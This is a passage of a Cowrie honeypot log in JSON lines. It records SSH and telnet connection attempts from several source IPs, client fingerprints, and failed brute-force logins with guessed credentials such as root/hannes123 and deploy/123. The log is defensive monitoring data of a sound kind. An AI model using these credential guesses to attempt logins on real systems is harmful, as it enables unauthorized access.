es128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:34:47.088207Z","src_ip":"8.218.166.49","session":"9cee7e37021b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":35165,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dd4385bdd0c","protocol":"ssh","message":"New connection: 88.147.30.59:35165 (159.203.135.109:22) [session: 0dd4385bdd0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:06.967788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:06.972245Z","src_ip":"88.147.30.59","session":"0dd4385bdd0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:07.092911Z","src_ip":"88.147.30.59","session":"0dd4385bdd0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hannes123","message":"login attempt [root/hannes123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:07.605175Z","src_ip":"88.147.30.59","session":"0dd4385bdd0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:08.728834Z","src_ip":"88.147.30.59","session":"0dd4385bdd0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:08.767752Z","src_ip":"8.218.166.49","session":"e524ab15081c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:12.650065Z","src_ip":"8.218.166.49","session":"022aa3f3a0c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:14.174047Z","src_ip":"8.218.166.49","session":"30950cffffea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:21.431500Z","src_ip":"8.218.166.49","session":"9cee7e37021b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"112.7","message":"Connection lost after 112.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:22.902633Z","src_ip":"8.218.166.49","session":"e524ab15081c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"104.4","message":"Connection lost after 104.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:24.949108Z","src_ip":"8.218.166.49","session":"022aa3f3a0c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"102.6","message":"Connection lost after 102.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:25.713070Z","src_ip":"8.218.166.49","session":"30950cffffea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55192,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bd7bd1dc86a","protocol":"ssh","message":"New connection: 8.218.166.49:55192 (10.17.0.5:22) [session: 2bd7bd1dc86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:41.807896Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":34164,"dst_ip":"10.17.0.5","dst_port":22,"session":"90ca8ce8490a","protocol":"ssh","message":"New connection: 14.63.196.175:34164 (10.17.0.5:22) [session: 90ca8ce8490a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:47.498514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:47.503531Z","src_ip":"14.63.196.175","session":"90ca8ce8490a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:47.703021Z","src_ip":"14.63.196.175","session":"90ca8ce8490a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:48.529894Z","src_ip":"14.63.196.175","session":"90ca8ce8490a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:49.732375Z","src_ip":"14.63.196.175","session":"90ca8ce8490a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:53.558755Z","src_ip":"8.218.166.49","session":"2bd7bd1dc86a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:53.563197Z","src_ip":"8.218.166.49","session":"2bd7bd1dc86a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:56.922727Z","src_ip":"8.218.166.49","session":"2bd7bd1dc86a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:58.413292Z","src_ip":"8.218.166.49","session":"2bd7bd1dc86a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":34928,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fe4acd1ede8","protocol":"ssh","message":"New connection: 101.36.124.219:34928 (159.203.135.109:22) [session: 3fe4acd1ede8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:59.460459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:59.465436Z","src_ip":"101.36.124.219","session":"3fe4acd1ede8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:35:59.682095Z","src_ip":"101.36.124.219","session":"3fe4acd1ede8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop123","message":"login attempt [root/qwertyuiop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:36:00.574938Z","src_ip":"101.36.124.219","session":"3fe4acd1ede8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:36:01.793440Z","src_ip":"101.36.124.219","session":"3fe4acd1ede8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57572,"dst_ip":"10.17.0.5","dst_port":22,"session":"4978c07f7787","protocol":"ssh","message":"New connection: 8.218.166.49:57572 (10.17.0.5:22) [session: 4978c07f7787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:36:26.246619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:36:26.338033Z","src_ip":"8.218.166.49","session":"4978c07f7787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:36:26.883917Z","src_ip":"8.218.166.49","session":"4978c07f7787","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:36:45.269904Z","src_ip":"8.218.166.49","session":"4978c07f7787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.2","message":"Connection lost after 20.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:36:46.481625Z","src_ip":"8.218.166.49","session":"4978c07f7787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39612,"dst_ip":"10.17.0.5","dst_port":22,"session":"57c5c58adc71","protocol":"ssh","message":"New connection: 8.218.166.49:39612 (10.17.0.5:22) [session: 57c5c58adc71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:36:53.334296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:36:53.338825Z","src_ip":"8.218.166.49","session":"57c5c58adc71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35140,"dst_ip":"10.17.0.5","dst_port":22,"session":"8225932aaeaf","protocol":"ssh","message":"New connection: 8.218.166.49:35140 (10.17.0.5:22) [session: 8225932aaeaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:01.794931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:02.220824Z","src_ip":"8.218.166.49","session":"8225932aaeaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:02.224958Z","src_ip":"8.218.166.49","session":"8225932aaeaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:03.075392Z","src_ip":"8.218.166.49","session":"8225932aaeaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.238.81.133","src_port":47474,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a460d45311","protocol":"telnet","message":"New connection: 104.238.81.133:47474 (10.17.0.5:23) [session: 96a460d45311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:09.471682Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35650,"dst_ip":"10.17.0.5","dst_port":22,"session":"4661c06b4ae1","protocol":"ssh","message":"New connection: 8.218.166.49:35650 (10.17.0.5:22) [session: 4661c06b4ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:13.339689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:19.554431Z","src_ip":"8.218.166.49","session":"4661c06b4ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:21.068785Z","src_ip":"8.218.166.49","session":"4661c06b4ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":58294,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec0406763ebd","protocol":"ssh","message":"New connection: 101.36.124.219:58294 (159.203.135.109:22) [session: ec0406763ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:24.421456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:24.426488Z","src_ip":"101.36.124.219","session":"ec0406763ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":46989,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7f00cd4dd4b","protocol":"ssh","message":"New connection: 88.147.30.59:46989 (159.203.135.109:22) [session: a7f00cd4dd4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:24.435919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:37:24.440911Z","src_ip":"88.147.30.59","session":"a7f00cd4dd4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","r